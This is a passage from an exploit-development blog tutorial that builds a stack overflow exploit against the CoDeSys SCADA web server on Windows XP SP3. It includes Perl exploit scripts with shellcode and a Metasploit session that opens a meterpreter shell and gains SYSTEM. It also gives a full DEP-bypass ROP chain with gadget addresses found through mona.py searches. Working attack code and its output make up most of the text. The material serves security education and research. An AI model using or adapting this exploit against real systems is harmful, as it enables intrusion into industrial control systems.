<p>Run the script against CoDeSys, and&#8230;</p>
<p><a href="http://www.poppopret.org/wp-content/uploads/2012/01/51.png"><img class="aligncenter size-full wp-image-161" title="5" src="http://www.poppopret.org/wp-content/uploads/2012/01/51.png" alt="" width="382" height="204" /></a>Well that&#8217;s interesting.  Looks like none of our input was copied into the buffer, predictably due to the initial null byte.  Since the section of code we&#8217;ve looked at thus far has used memcpy() as opposed to strcpy(), it&#8217;s reasonable to assume that string functions like strlen() are used at some point beforehand and are causing our buffer to terminate prematurely.  We&#8217;ll add 0&#215;00 to the list of bad chars and try again.</p>
<pre>$badchars .= "GET /";
# Bad chars: "\x00"
$badchars .= pack("C*", 0x01 .. 0x0f);</pre>
<p>Taking a look at the stack after the memcpy():</p>
<p><a href="http://www.poppopret.org/wp-content/uploads/2012/01/61.png"><img class="aligncenter size-full wp-image-162" title="6" src="http://www.poppopret.org/wp-content/uploads/2012/01/61.png" alt="" width="382" height="204" /></a>What the heck?  Something else in the range must be causing issue.  Let&#8217;s narrow the range:</p>
<pre>$badchars .= pack("C*", 0x01 .. 0x09);
#$badchars .= pack("C*", 0x0a .. 0x0f);</pre>
<p>And finally we have success:</p>
<p><a href="http://www.poppopret.org/wp-content/uploads/2012/01/71.png"><img class="aligncenter size-full wp-image-163" title="7" src="http://www.poppopret.org/wp-content/uploads/2012/01/71.png" alt="" width="382" height="204" /></a>If you look closely, though, notice that 0&#215;09 was translated to 0&#215;20, so we&#8217;ll add it to the list of bad chars as well.</p>
<p>To expedite the process and save time, we won&#8217;t detail the rest of the testing.  Following the same steps as outlined above for the remaining bytes, we produce the final list of bad characters to avoid when writing our exploit:</p>
<pre>0x00 (Null) - Breaks request
0x09 (Tab) - Translates to 0x20 (Space)
0x0a (Carriage Return) - Breaks request
0x23 (#) - Breaks request
0x25 (%) - Breaks request
0x3a (:) - Breaks request
0x3d (=) - Breaks request
0x3f (?) - Breaks request
0x5c (\) - Translates to 0x2f (/)</pre>
<p>As we can see, most of the offending bytes are URL special characters.  With more thorough testing and analysis we realize that, in actuality, some of the chars can be used if positioned correctly in the buffer, but to save potential frustration we&#8217;ll just blacklist them initially and consider their usage only if necessary.</p>
<p><strong>SCADA Wars Episode 1 &#8211; The Shellcode Menace</strong></p>
<p>Writing a traditional stack-based overflow is a rather straight-forward process when both DEP and ASLR are disabled/not implemented.  Simply overwrite the return pointer on the stack with a pointer to your buffer, slide down an optional NOP sled, and execute your shellcode.  Recall the script we wrote last post that obtained arbitrary control over EIP (cleaned up a bit to remove the no longer necessary cyclic pattern):</p>
<pre>#!/usr/bin/perl

use IO::Socket;

if ( @ARGV &lt; 1 ) {
    print "Usage: $0 &lt;target&gt;";
}

$sock = new IO::Socket::INET(
    PeerAddr =&gt; $ARGV[0],
    PeerPort =&gt; 8080,
);

$exploit = "";
$exploit .= "GET /";
$exploit .= "A"; # For alignment purposes
$exploit .= pack('V', 0x0defaced); # Control over EIP
$exploit .= "A"x524;
$exploit .= pack('V', 0x02cdfb4c); # Readable pointer (Pointer to new EIP)
$exploit .= pack('V', 0x02cdfa14); # Writable pointer (Overwritten ret addr)
$exploit .= "A"x463;
$exploit .= "\\a HTTP/1.0\r\n\r\n";

print $sock $exploit;</pre>
<p>Running against the target web server, we observe an exception executing at our (invalid) return address:</p>
<p><a href="http://www.poppopret.org/wp-content/uploads/2012/01/21.png"><img class="aligncenter size-full wp-image-151" title="2" src="http://www.poppopret.org/wp-content/uploads/2012/01/21.png" alt="" width="1024" height="742" /></a>At this point we&#8217;ll inspect the stack to learn the location of our buffer, noting the beginning address of the second string of &#8220;A&#8221;s where we&#8217;ll place our shellcode:</p>
<p><a href="http://www.poppopret.org/wp-content/uploads/2012/01/31.png"><img class="aligncenter size-full wp-image-152" title="3" src="http://www.poppopret.org/wp-content/uploads/2012/01/31.png" alt="" width="382" height="204" /></a>Updating our script to reflect this new information, as well as the inclusion of a benign payload for PoC:</p>
<pre>#!/usr/bin/perl

use IO::Socket;

if ( @ARGV &lt; 1 ) {
    print "Usage: $0 &lt;target&gt;";
}

$sock = new IO::Socket::INET(
    PeerAddr =&gt; $ARGV[0],
    PeerPort =&gt; 8080,
);

# Windows XP SP3 EN Calc Shellcode 16 Bytes by John Leitch
$shellcode =
    "\x31\xC9"              . # xor ecx,ecx
    "\x51"                  . # push ecx
    "\x68\x63\x61\x6C\x63"  . # push 0x636c6163
    "\x54"                  . # push dword ptr esp
    "\xB8\xC7\x93\xC2\x77"  . # mov eax,0x77c293c7
    "\xFF\xD0";               # call eax

$exploit = "";
$exploit .= "GET /";
$exploit .= "A"; # For alignment purposes
$exploit .= pack('V', 0x02cdfc2c); # Control over EIP, pointer to shellcode
$exploit .= "A"x524;
$exploit .= pack('V', 0x02cdfb4c); # Readable pointer (Pointer to new EIP)
$exploit .= pack('V', 0x02cdfa14); # Writable pointer (Overwritten ret addr)
$exploit .= $shellcode;
$exploit .= "\\a HTTP/1.0\r\n\r\n";

print $sock $exploit;</pre>
<p>And the result:</p>
<p><a href="http://www.poppopret.org/wp-content/uploads/2012/01/41.png"><img class="aligncenter size-full wp-image-153" title="4" src="http://www.poppopret.org/wp-content/uploads/2012/01/41.png" alt="" width="368" height="351" /></a>Cool.  We&#8217;ve successfully exploited this version of CoDeSys on Windows XP SP3.</p>
<p>There are two issues with our current exploit, though.  For the consideration of functionality, calc.exe is rather boring and doesn&#8217;t actually spawn us a shell.  Additionally, for the consideration of elegance and standardization, it&#8217;s best <a href="https://community.rapid7.com/community/solutions/metasploit/blog/2011/10/11/monasploit" target="_blank">not to write standalone exploit scripts</a> such as the one above.  To the rescue is the Metasploit Framework, which provides a very nice exploit development API, as well as a long list of payloads and encoding utilities to circumvent bad characters and potential IDS.  Resultingly, as of revision <a href="https://dev.metasploit.com/redmine/projects/framework/repository/revisions/bc9014e91215504c11d348edc3b0e3d208686181" target="_blank">bc9014e9</a>, the CoDeSys CmpWebServer exploit module in Metasploit now possesses a target for v3.4 SP4 Patch 2 on Windows XP SP3.  Let&#8217;s test it out:</p>
<pre>msf &gt; use exploit/windows/scada/codesys_web_server
msf  exploit(codesys_web_server) &gt; show options

Module options (exploit/windows/scada/codesys_web_server):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  8080             yes       The target port

msf  exploit(codesys_web_server) &gt; set RHOST 172.16.66.128
RHOST =&gt; 172.16.66.128
msf  exploit(codesys_web_server) &gt; show targets

Exploit targets:

   Id  Name
   --  ----
   0   CoDeSys v2.3 on Windows XP SP3
   1   CoDeSys v3.4 SP4 Patch 2 on Windows XP SP3

msf  exploit(codesys_web_server) &gt; set TARGET 1
TARGET =&gt; 1
msf  exploit(codesys_web_server) &gt; set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD =&gt; windows/meterpreter/bind_tcp
msf  exploit(codesys_web_server) &gt; exploit

[*] Started bind handler
[*] Trying target CoDeSys v3.4 SP4 Patch 2 on Windows XP SP3...
[*] Sending stage (752128 bytes) to 172.16.66.128
[*] Meterpreter session 1 opened (172.16.66.1:60855 -&gt; 172.16.66.128:4444) at 2012-01-14 03:31:41 -0500

meterpreter &gt; help

Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information about active channels
    close                     Closes a channel
    detach                    Detach the meterpreter session (for http/https)
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    help                      Help menu
    info                      Displays information about a Post module
    interact                  Interacts with a channel
    irb                       Drop into irb scripting mode
    load                      Load one or more meterpreter extensions
    migrate                   Migrate the server to another process
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    use                       Deprecated alias for 'load'
    write                     Writes data to a channel

Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    del           Delete the specified file
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    upload        Upload a file or directory

Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    ipconfig      Display interfaces
    portfwd       Forward a local port to a remote service
    route         View and modify the routing table

Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current process
    getuid        Get the user that the server is running as
    kill          Terminate a process
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    sysinfo       Gets information about the remote system, such as OS

Stdapi: User interface Commands
===============================

    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop     Get the current meterpreter desktop
    idletime       Returns the number of seconds the remote user has been idle
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    screenshot     Grab a screenshot of the interactive desktop
    setdesktop     Change the meterpreters current desktop
    uictl          Control some of the user interface components

Stdapi: Webcam Commands
=======================

    Command       Description
    -------       -----------
    record_mic    Record audio from the default microphone for X seconds
    webcam_list   List webcams
    webcam_snap   Take a snapshot from the specified webcam

Priv: Elevate Commands
======================

    Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system.

Priv: Password database Commands
================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database

Priv: Timestomp Commands
========================

    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes

meterpreter &gt; getsystem
...got system (via technique 1).
meterpreter &gt; getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter &gt;</pre>
<p><strong>SCADA Wars Episode 2 &#8211; Attack of the Stack</strong></p>
<p>It&#8217;s very rare nowadays to approach a bug without the expectation of needing to bypass at least one or two exploit mitigation techniques.  These memory protection mechanisms are most commonly a coupling of DEP and ASLR, but since we are targeting an older version of Windows, ASLR has not been implemented yet, and, as mentioned earlier, even though DEP has been implemented it is in fact disabled for all user applications by default, including CoDeSys.</p>
<p>To make things more interesting, let&#8217;s manually enable DEP and rewrite our exploit.</p>
<p><a href="http://www.poppopret.org/wp-content/uploads/2012/01/81.png"><img class="aligncenter size-full wp-image-165" title="8" src="http://www.poppopret.org/wp-content/uploads/2012/01/81.png" alt="" width="553" height="280" /></a>With the stack marked non-executable, we won&#8217;t be able to directly return into code we introduce in memory but instead have to rely on Return-Oriented Programming (ROP).  By chaining together the tails of function calls (referred to as ROP gadgets), we can execute arbitrary code piece-by-piece, most commonly to achieve the end goal of disabling DEP and returning into shellcode.</p>
<p>Instead of writing one from scratch, we&#8217;ll begin with a DEP-disabling ROP chain from Corelan Team&#8217;s <a href="https://www.corelan.be/index.php/security/corelan-ropdb/" target="_blank">ROPdb</a> and adapt it to our exploit.  While the published chains are meant to function without alteration, we need to mind our list of bad chars and find replacement gadgets for any pointers affected.  Comparing the chains in ROPdb with the list of loaded modules, it&#8217;s apparent that the only DLL with a readily available chain is <a href="https://www.corelan.be/index.php/security/corelan-ropdb/#advapi32dll_8211_5126005755" target="_blank">advapi32.dll</a>, which disables DEP by performing a call to the NtSetInformationProcess function:</p>
<p><a href="http://www.poppopret.org/wp-content/uploads/2012/01/91.png"><img class="aligncenter size-full wp-image-168" title="9" src="http://www.poppopret.org/wp-content/uploads/2012/01/91.png" alt="" width="1024" height="742" /></a>Starting with the same base exploit structure as above, we&#8217;ll append the ROP chain and identify any offending pointers (denoted with a string of exclamation points):</p>
<pre>#!/usr/bin/perl

use IO::Socket;

if ( @ARGV &lt; 1 ) {
    print "Usage: $0 &lt;target&gt;";
}

$sock = new IO::Socket::INET(
    PeerAddr =&gt; $ARGV[0],
    PeerPort =&gt; 8080,
);

$exploit = "";
$exploit .= "GET /";
$exploit .= "A"; # For alignment purposes
$exploit .= pack('V', 0x0defaced); # Control over EIP
$exploit .= "A"x524;
$exploit .= pack('V', 0x02cdfb4c); # Readable pointer (Pointer to new EIP)
$exploit .= pack('V', 0x02cdfa14); # Writable pointer (Overwritten ret addr)

# advapi32.dll ntdll.ZwSetInformationProcess() chain by corelanc0d3r
# https://www.corelan.be/index.php/security/corelan-ropdb/
$exploit .= pack('V', 0x77e25c1f); # !!!!! # POP EAX # RETN
$exploit .= pack('V', 0x77dd1404); # * &amp;NtSetInformationProcess
$exploit .= pack('V', 0x77dfd448); # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN 04
$exploit .= pack('V', 0xffffffff); # (EBP)
$exploit .= pack('V', 0x77e18a5f); # INC EBP # RETN (set EBP to 0)
$exploit .= pack('V', 0x41414141); # junk (compensate)
$exploit .= pack('V', 0x77e01143); # XOR EBP,EAX # RETN
$exploit .= pack('V', 0x77e25c1f); # !!!!! # POP EAX # RETN
$exploit .= pack('V', 0xffffffde); # -&gt; 0x22 -&gt; EDX
$exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN
$exploit .= pack('V', 0x77df563a); # !!!!! # XCHG EAX,EBX # RETN
$exploit .= pack('V', 0x77de97ac); # MOV EDX,EBX # POP ESI # POP EBX # RETN 10
$exploit .= pack('V', 0x77e3cb79); # RETN -&gt; ESI
$exploit .= pack('V', 0xffffffff); # -&gt; EBX
$exploit .= pack('V', 0x77ddbf44); # POP ECX # RETN
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x77e4b1fc); # ptr to 0x02
$exploit .= pack('V', 0x77e25c1f); # !!!!! # POP EAX # RETN
$exploit .= pack('V', 0xfffffffc); # -&gt; 0x4
$exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN
$exploit .= pack('V', 0x77e3cb78); # POP EDI # RETN
$exploit .= pack('V', 0x77e3cb79); # RETN
$exploit .= pack('V', 0x77de75ed); # PUSHAD # DEC EBX # MOV EBX,33C233F6 # RETN

$exploit .= "\\a HTTP/1.0\r\n\r\n";

print $sock $exploit;</pre>
<p>Not too bad; we only need to find replacements for two gadgets.  We&#8217;ll use <a href="http://redmine.corelan.be/projects/mona">mona.py</a> to generate a list of gadgets and go from there.</p>
<p><a href="http://www.poppopret.org/wp-content/uploads/2012/01/103.png"><img class="aligncenter size-full wp-image-172" title="10" src="http://www.poppopret.org/wp-content/uploads/2012/01/103.png" alt="" width="601" height="406" /></a>The script displays a great deal of debugging information to the console as well as some automatically generated DEP-disabling ROP chains of its own, but the actual results we&#8217;re looking for are in rop.txt under Immunity&#8217;s installation directory.  It would be easy enough just to use the chains generated by the command, but as we can see there they make frequent use of our blacklisted characters:</p>
<p><a href="http://www.poppopret.org/wp-content/uploads/2012/08/11.png"><img class="aligncenter size-full wp-image-228" title="11" src="http://www.poppopret.org/wp-content/uploads/2012/08/11.png" alt="" width="574" height="738" /></a></p>
<p>The first replacement gadget we need to find is &#8220;pop eax; ret&#8221;.  This is a fairly common instruction sequence since the x86 calling convention typically stores the return value in EAX, so we should have no issue finding a suitable replacement.</p>
<p>We&#8217;ll first grep for all &#8220;pop eax&#8221; gadgets whose address doesn&#8217;t start with a null byte:</p>
<pre>$ grep "POP EAX" rop.txt | grep -v 0x00 | cut -d* -f1 | head
0x1000c0be : # PUSH ECX # PUSH EAX # POP EAX # POP ECX # POP EBP # POP ECX # POP EBX # RETN 04
0x1000c0bf : # PUSH EAX # POP EAX # POP ECX # POP EBP # POP ECX # POP EBX # RETN 04
0x1000654e : # POP EAX # POP ESI # RETN
0x10006590 : # POP EAX # POP ESI # RETN
0x10007bfb : # POP EAX # POP ESI # RETN
0x10007771 : # POP EAX # POP ESI # RETN
0x10007747 : # POP EAX # RETN
0x1000fd85 : # POP EAX # POP ESI # RETN
0x10007d59 : # POP EAX # POP ESI # RETN
0x10007697 : # POP EAX # RETN</pre>
<p>Great, but so far every gadget still has a null byte in the address.  Let&#8217;s restrict our search a little more to filter out all pointers starting with 0&#215;1000:</p>
<pre>$ grep "POP EAX" rop.txt | grep -v 0x00 | grep -v 0x1000 | cut -d* -f1
$</pre>
<p>Interestingly enough, no suitable replacement gadgets exist in the results.  One thing to note, though, is that mona.py defaults its ROP generation to non-OS modules (as well as non-ASLR and non-rebase), so we&#8217;ll have to broaden our scope a bit to find the gadget we need. Because the overall goal is to make exploits as universal as possible (working against a wide array of target systems and versions), it&#8217;s best to not use modules provided by the system itself since they have a high likelihood of changing between OS versions.  However, we&#8217;ll take a hit here for the sake of getting a working PoC.</p>
<p>We&#8217;ll regenerate our list of ROP gadgets, this time restricting ourselves to the system DNSAPI.dll module by passing the -m flag to mona.py:</p>
<pre>!mona rop -m DNSAPI.dll</pre>
<p>This graces us with the following gadget list to search through:</p>
<pre>$ grep "POP EAX" rop_dnsapi.txt | cut -d* -f1
0x76f3e0c8 : # ADD EBP,DWORD PTR DS:[EDX+57] # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN 10
0x76f3c976 : # POP EAX # MOV DWORD PTR DS:[EDX],EAX # XOR EAX,EAX # RETN
0x76f3c97e : # POP EAX # RETN
0x76f3e0ca : # PUSH EDI # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN 10
0x76f3e0cb : # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN 10
0x76f3c974 : # PUSH 3 # POP EAX # MOV DWORD PTR DS:[EDX],EAX # XOR EAX,EAX # RETN
0x76f3e0c9 : # PUSH 57 # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN 10
0x76f3c971 : # OR BYTE PTR SS:[EBP+8],DH # PUSH 3 # POP EAX # MOV DWORD PTR DS:[EDX],EAX # XOR EAX,EAX # RETN
0x76f3c973 : # OR BYTE PTR DS:[EDX+3],CH # POP EAX # MOV DWORD PTR DS:[EDX],EAX # XOR EAX,EAX # RETN
0x76f3c97c : # PUSH 0D # POP EAX # RETN</pre>
<p>Perfect, the gadget at 0x76f3c97e will work fine.  Update our ROP chain:</p>
<pre># advapi32.dll ntdll.ZwSetInformationProcess() chain by corelanc0d3r
# https://www.corelan.be/index.php/security/corelan-ropdb/
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0x77dd1404); # * &amp;NtSetInformationProcess
$exploit .= pack('V', 0x77dfd448); # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN 04
$exploit .= pack('V', 0xffffffff); # (EBP)
$exploit .= pack('V', 0x77e18a5f); # INC EBP # RETN (set EBP to 0)
$exploit .= pack('V', 0x41414141); # junk (compensate)
$exploit .= pack('V', 0x77e01143); # XOR EBP,EAX # RETN
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0xffffffde); # -&gt; 0x22 -&gt; EDX
$exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN
$exploit .= pack('V', 0x77df563a); # !!!!! # XCHG EAX,EBX # RETN
$exploit .= pack('V', 0x77de97ac); # MOV EDX,EBX # POP ESI # POP EBX # RETN 10
$exploit .= pack('V', 0x77e3cb79); # RETN -&gt; ESI
$exploit .= pack('V', 0xffffffff); # -&gt; EBX
$exploit .= pack('V', 0x77ddbf44); # POP ECX # RETN
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x77e4b1fc); # ptr to 0x02
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0xfffffffc); # -&gt; 0x4
$exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN
$exploit .= pack('V', 0x77e3cb78); # POP EDI # RETN
$exploit .= pack('V', 0x77e3cb79); # RETN
$exploit .= pack('V', 0x77de75ed); # PUSHAD # DEC EBX # MOV EBX,33C233F6 # RETN</pre>
<p>One last gadget we need to find a replacement for is &#8220;xchg eax, ebx; ret&#8221;.  We&#8217;ll grep through rop.txt and see if there are any candidates:</p>
<pre>$ grep "XCHG EAX,EBX" rop.txt | cut -d* -f1
0x0040fcb3 : # XCHG EAX,EBX # XOR EAX,E58B0000 # POP EBP # RETN
0x0040dab3 : # XCHG EAX,EBX # PUSH EDI # ADD BYTE PTR DS:[EAX],AL # MOV ESP,EBP # POP EBP # RETN</pre>
<p>Bad luck.  Looks like we&#8217;ll have to rely on a system module again.  However, DNSAPI.dll doesn&#8217;t seem to have the gadget either:</p>
<pre>$ grep "XCHG EAX,EBX" rop_dnsapi.txt | cut -d* -f1
$</pre>
<p>Let&#8217;s generate a list of gadgets from the system SHELL32.dll module and see if something there will help us:</p>
<pre>$ grep "XCHG EAX,EBX" rop_shell32.txt | cut -d* -f1 | head
0x7ca04919 : # XCHG EAX,EBX # SUB BH,DH # DEC ECX # RETN
0x7ca6f081 : # XCHG EAX,EBX # RETN 00
0x7cb4f687 : # XCHG EAX,EBX # ADD AX,3B00 # RETN
0x7ca7870a : # XCHG EAX,EBX # MOV EBP,17C # ADD BH,BH # ADC EAX,&lt;&amp;USER32.EndDialog&gt; # XOR EAX,EAX # POP EBP # RETN 10
0x7ca17509 : # XCHG EAX,EBX # PUSH EAX # ADD EAX,DWORD PTR DS:[EAX] # POP EDI # XOR EAX,EAX # POP ESI # INC EAX # POP EBX # POP EBP # RETN 0C
0x7ca787d8 : # XCHG EAX,EBX # MOV EBP,17C # ADD BH,BH # ADC EAX,&lt;&amp;USER32.EndDialog&gt; # MOV EAX,ESI # POP ESI # POP EBP # RETN 10
0x7ca11f36 : # XCHG EAX,EBX # OR AL,BYTE PTR DS:[EAX] # XOR EAX,EAX # RETN 04
0x7caab0cd : # XCHG EAX,EBX # POP ES # ADD BYTE PTR DS:[EBX],BH # RETN
0x7ca3ae19 : # XCHG EAX,EBX # ADD DWORD PTR DS:[EAX],EAX # ADD BYTE PTR DS:[EBX+5D5E5FC7],CL # RETN 04
0x7ca034ed : # XCHG EAX,EBX # SAHF # ADD AL,BYTE PTR DS:[EAX] # POP EDI # POP ESI # POP EBP # RETN 08</pre>
<p>The gadget at 0x7ca6f081 will do perfectly.  The 00 in &#8220;RETN 00&#8243; denotes the number of bytes the stack will by adjusted by upon return, which in this case is 0 and parallels the functionality of a &#8220;normal&#8221; return.</p>
<p>The question can be asked in this scenario, why is there such an instruction &#8220;ret 0&#8243; in the module if it&#8217;s the exact same as a &#8220;ret&#8221;?  The answer is that the instruction isn&#8217;t actually meant to be there at all.  The x86 architecture sports a number of properties favorable for exploit development, namely the fact that instructions are both variable-length and unaligned.  x86 instructions aren&#8217;t always a defined length in memory, unlike ARM or MIPS whose instructions are always 2 or 4 bytes wide, so we can find a single useful opcode and disassemble backwards until we find an acceptable sequence of instructions.  By being unaligned, we can execute instructions at any offset and are not restricted to returning into addresses that, for example, end in 0&#215;0, 0&#215;4, 0&#215;8, or 0xc.</p>
<p>To demonstrate this, we&#8217;ll start by disassembling our gadget at 0x7ca6f081, where we see the desired instruction sequence:</p>
<p><a href="http://www.poppopret.org/wp-content/uploads/2012/08/12.png"><img class="aligncenter size-full wp-image-230" title="12" src="http://www.poppopret.org/wp-content/uploads/2012/08/12.png" alt="" width="357" height="64" /></a></p>
<p>However, by simply pressing the &#8220;up&#8221; button, our disassembly realigns to the program&#8217;s proper instruction alignment, and we see that these opcodes are actually part of a CALL:</p>
<p><a href="http://www.poppopret.org/wp-content/uploads/2012/08/13.png"><img class="aligncenter size-full wp-image-231" title="13" src="http://www.poppopret.org/wp-content/uploads/2012/08/13.png" alt="" width="351" height="82" /></a></p>
<p>Moving ahead, let&#8217;s update our ROP chain with the final replacement gadget:</p>
<pre># advapi32.dll ntdll.ZwSetInformationProcess() chain by corelanc0d3r
# https://www.corelan.be/index.php/security/corelan-ropdb/
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0x77dd1404); # * &amp;NtSetInformationProcess
$exploit .= pack('V', 0x77dfd448); # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN 04
$exploit .= pack('V', 0xffffffff); # (EBP)
$exploit .= pack('V', 0x77e18a5f); # INC EBP # RETN (set EBP to 0)
$exploit .= pack('V', 0x41414141); # junk (compensate)
$exploit .= pack('V', 0x77e01143); # XOR EBP,EAX # RETN
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0xffffffde); # -&gt; 0x22 -&gt; EDX
$exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN
$exploit .= pack('V', 0x7ca6f081); # XCHG EAX,EBX # RETN
$exploit .= pack('V', 0x77de97ac); # MOV EDX,EBX # POP ESI # POP EBX # RETN 10
$exploit .= pack('V', 0x77e3cb79); # RETN -&gt; ESI
$exploit .= pack('V', 0xffffffff); # -&gt; EBX
$exploit .= pack('V', 0x77ddbf44); # POP ECX # RETN
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x77e4b1fc); # ptr to 0x02
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0xfffffffc); # -&gt; 0x4
$exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN
$exploit .= pack('V', 0x77e3cb78); # POP EDI # RETN
$exploit .= pack('V', 0x77e3cb79); # RETN
$exploit .= pack('V', 0x77de75ed); # PUSHAD # DEC EBX # MOV EBX,33C233F6 # RETN</pre>
<p>Now that our ROP chain is all set, we need to actually be able to execute it.  The easy way to do this is to simply return into the first gadget upon gaining control over EIP.  At the moment, we corrupt EIP with the value 0x0defaced, so it should be simple enough to just restructure our exploit and relocate the ROP chain in place of this dummy value.  In order to prevent changes to stack offsets and addresses, we&#8217;ll store a placeholder where the ROP chain used to be to keep our input to the program the same length:</p>
<pre>#!/usr/bin/perl

use IO::Socket;

if ( @ARGV &lt; 1 ) {
    print "Usage: $0 ";
}

$sock = new IO::Socket::INET(
    PeerAddr =&gt; $ARGV[0],
    PeerPort =&gt; 8080,
);

$exploit = "";
$exploit .= "GET /";
$exploit .= "A"; # For alignment purposes

$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0x77dd1404); # * &amp;NtSetInformationProcess
$exploit .= pack('V', 0x77dfd448); # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN 04
$exploit .= pack('V', 0xffffffff); # (EBP)
$exploit .= pack('V', 0x77e18a5f); # INC EBP # RETN (set EBP to 0)
$exploit .= pack('V', 0x41414141); # junk (compensate)
$exploit .= pack('V', 0x77e01143); # XOR EBP,EAX # RETN
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0xffffffde); # -&gt; 0x22 -&gt; EDX
$exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN
$exploit .= pack('V', 0x7ca6f081); # XCHG EAX,EBX # RETN
$exploit .= pack('V', 0x77de97ac); # MOV EDX,EBX # POP ESI # POP EBX # RETN 10
$exploit .= pack('V', 0x77e3cb79); # RETN -&gt; ESI
$exploit .= pack('V', 0xffffffff); # -&gt; EBX
$exploit .= pack('V', 0x77ddbf44); # POP ECX # RETN
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x41414141); # compensate
$exploit .= pack('V', 0x77e4b1fc); # ptr to 0x02
$exploit .= pack('V', 0x76f3c97e); # POP EAX # RETN
$exploit .= pack('V', 0xfffffffc); # -&gt; 0x4
$exploit .= pack('V', 0x77dd9b16); # NEG EAX # RETN
$exploit .= pack('V', 0x77e3cb78); # POP EDI # RETN
$exploit .= pack('V', 0x77e3cb79); # RETN
$exploit .= pack('V', 0x77de75ed); # PUSHAD # DEC EBX # MOV EBX,33C233F6 # RETN

$exploit .= "A"x424;

$exploit .= pack('V', 0x02cdfb4c); # Readable pointer (Pointer to new EIP)
$exploit .= pack('V', 0x02cdfa14); # Writable pointer (Overwritten ret addr)

$exploit .= "A"x104;

$exploit .= "\\a HTTP/1.0\r\n\r\n";

print $sock $exploit;</pre>
<p>Now that we&#8217;ve disabled DEP, we need to execute our shellcode.  This particular ROP chain will immediately transfer execution to the top of the stack after its completion, which can be observed by studying the last few gadgets.</p>
<p>At the time of the final gadget&#8217;s (&#8220;pushad; dec ebx; mov ebx, 0x33c233f6; ret&#8221;) execution, the function pointer we wish to call (NtSetInformationProcess) resides in EBP.  By referencing the <a href="http://www.fermi.mn.it/linux/quarta/x86/pusha.htm">documentation of the PUSHAD instruction</a>, we can see that EBP is pushed onto the stack sixth out of eight registers, placing it at offset 0&#215;8 from the top of the stack:</p>
<pre>ELSE (* OperandSize = 32, PUSHAD instruction *)
   Temp := (ESP);
   Push(EAX);
   Push(ECX);
   Push(EDX);
   Push(EBX);
   Push(Temp);
   Push(EBP);
   Push(ESI);
   Push(EDI);
FI;</pre>
<p><a href="http://www.poppopret.org/wp-content/uploads/2012/08/14.png"><img class="aligncenter size-full wp-image-233" title="14" src="http://www.poppopret.org/wp-content/uploads/2012/08/14.png" alt="" width="268" height="112" /></a></p>
